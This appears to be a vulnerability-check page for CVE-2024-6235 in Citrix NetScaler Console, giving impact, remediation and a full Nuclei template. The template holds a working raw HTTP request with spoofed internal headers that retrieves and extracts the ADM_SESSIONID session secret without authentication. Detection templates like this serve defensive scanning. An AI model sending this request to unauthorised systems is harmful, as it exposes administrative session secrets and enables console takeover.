NetScaler Console - Sensitive Information Disclosure

criticalseverity

8.8CVSS score

21.2%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

Sensitive information disclosure in NetScaler Console

Impact

Attackers can access sensitive information including session secrets and administrative credentials from the NetScaler Console without proper authentication.

Fix

Apply the patches specified in Citrix advisory CTX677998 to address the information disclosure vulnerability in NetScaler Console.

How to confirm it

Send: GET /internal/v2/config/mps_secret/ADM_SESSIONID
Positive when: contains "\"mps_secret\":" and "ADM_SESSIONID" AND status 200

Run it with nuclei: nuclei -id CVE-2024-6235 -u <target>

The full check

id: CVE-2024-6235

info:
  name: NetScaler Console - Sensitive Information Disclosure
  author: DhiyaneshDk
  severity: critical
  description: |
    Sensitive information disclosure in NetScaler Console
  impact: |
    Attackers can access sensitive information including session secrets and administrative credentials from the NetScaler Console without proper authentication.
  remediation: |
    Apply the patches specified in Citrix advisory CTX677998 to address the information disclosure vulnerability in NetScaler Console.
  reference:
    - https://support.citrix.com/article/CTX677998
    - https://attackerkb.com/topics/7zebEgmGLs/cve-2024-6235
    - https://nvd.nist.gov/vuln/detail/cve-2024-6235
  classification:
    cve-id: CVE-2024-6235
    cwe-id: CWE-287
    cvss-metrics: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    epss-score: 0.21168
    epss-percentile: 0.97604
    cpe: cpe:2.3:a:citrix:netscaler_console:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"NetScaler Gateway"
  tags: cve,cve2024,netscaler,exposure,vkev,vuln

http:
  - raw:
      - |
        GET /internal/v2/config/mps_secret/ADM_SESSIONID HTTP/1.1
        Host: {{Hostname}}
        Referer: {{RootURL}}/admin_ui/mas/ent/html/main.html
        Content-Type: application/json
        If-Modified-Since: Thu, 01 Jan 1970 05:30:00 GMT
        NITRO_WEB_APPLICATION: true
        Tenant-Name: Owner
        User-Name: nsroot
        Mps-Internal-Request: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"mps_secret":'
          - 'ADM_SESSIONID'
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: json
        name: adm_sessionid_key
        json:
          - '.mps_secret[0].key_value'

References

Use this check only on systems you are authorised to test. Where the data comes from